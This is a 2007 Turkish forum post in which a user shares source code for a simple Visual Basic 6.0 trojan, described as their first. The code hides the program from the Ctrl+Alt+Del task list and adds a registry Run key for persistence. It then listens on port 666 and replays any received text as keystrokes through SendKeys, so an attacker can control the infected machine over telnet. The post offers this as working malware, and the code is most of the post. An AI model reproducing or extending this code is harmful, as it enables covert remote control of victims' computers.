Visual Basic 6.0, Trojan Yazımı

Celebrian · #1 24-12-2007, 12:58

Visual Basic 6.0, Trojan Yazımı İlk yazdığım trojan.Çok acemice yazılmış sonra geliştirdim.Önce trojan hakkında biraz bilgi vereyim. CTRL+ALT+Del ekrannda grnmyor. Bu trojan yiyen bilgisyara telnet ile
bağlanabiliniyor.
Bir visual basic projesi başlatın ve forma Microsoft Winsock Kontrol
ekleyin.

Kod:

Private Sub Form_Load()
App.TaskVisible = False ' Trojan Ctrl + Alt + Del ekrannda grnmeyecek
' Buda program(trojan windows kayıt defterine ekler ve windows her
' çalıştıgında çalışmasını sağlar.
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite
"HKEY_LOCAL_MACHINESOFTWAREMICROSOFTWINDOWSCURRENT VERSIONRUN" & App.EXEName,

App.Path & "" & App.EXEName & ".exe"
Winsock1.LocalPort = "666" ' bu trojann portun belirtir. isterseniz değiştirebilirsiniz

Winsock1.Listen 'Trojan bağlantıları dinliyor.
Me.Hide
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
'Winsock kontrol kullanılıyor mu bak.
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID 'Istemci bilgisyar bağlantısını kabul et
End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, Description As
String, ByVal
Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal
HelpContext
As Long, CancelDisplay As Boolean)
'Hata olmusa yada bağlantı kaybedilmise, tekrar dinlemeye geçiliyor
Winsock1.Close
Winsock1.Listen
End Sub

Private Sub Winsock1_Close()
Winsock1.Close
Winsock1.Listen
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data1 As String
Winsock1.GetData data1
DoEvents
SendKeys data1
End Sub

Benzer Konular
Konu	Konu Açanlar	Forum	Cevaplar	Güncel Mesajlar
Visual Basic...	cunobag	Visual Basic & Action script	3	13-11-2008 11:30
Visual basic	Celebrian	Visual Basic & Action script	0	24-12-2007 11:33
Visual basic ile trojan yazilimi	Celebrian	Visual Basic & Action script	0	24-12-2007 11:33
Visual Basic İle Basit Bir Trojan	Celebrian	Visual Basic & Action script	0	24-12-2007 11:32
Visual Basic	Celebrian	Webmaster Programları	0	22-11-2007 03:37

Seçenekler
Yazdırılabilir şekli göster Sayfayı E-Mail olarak gönder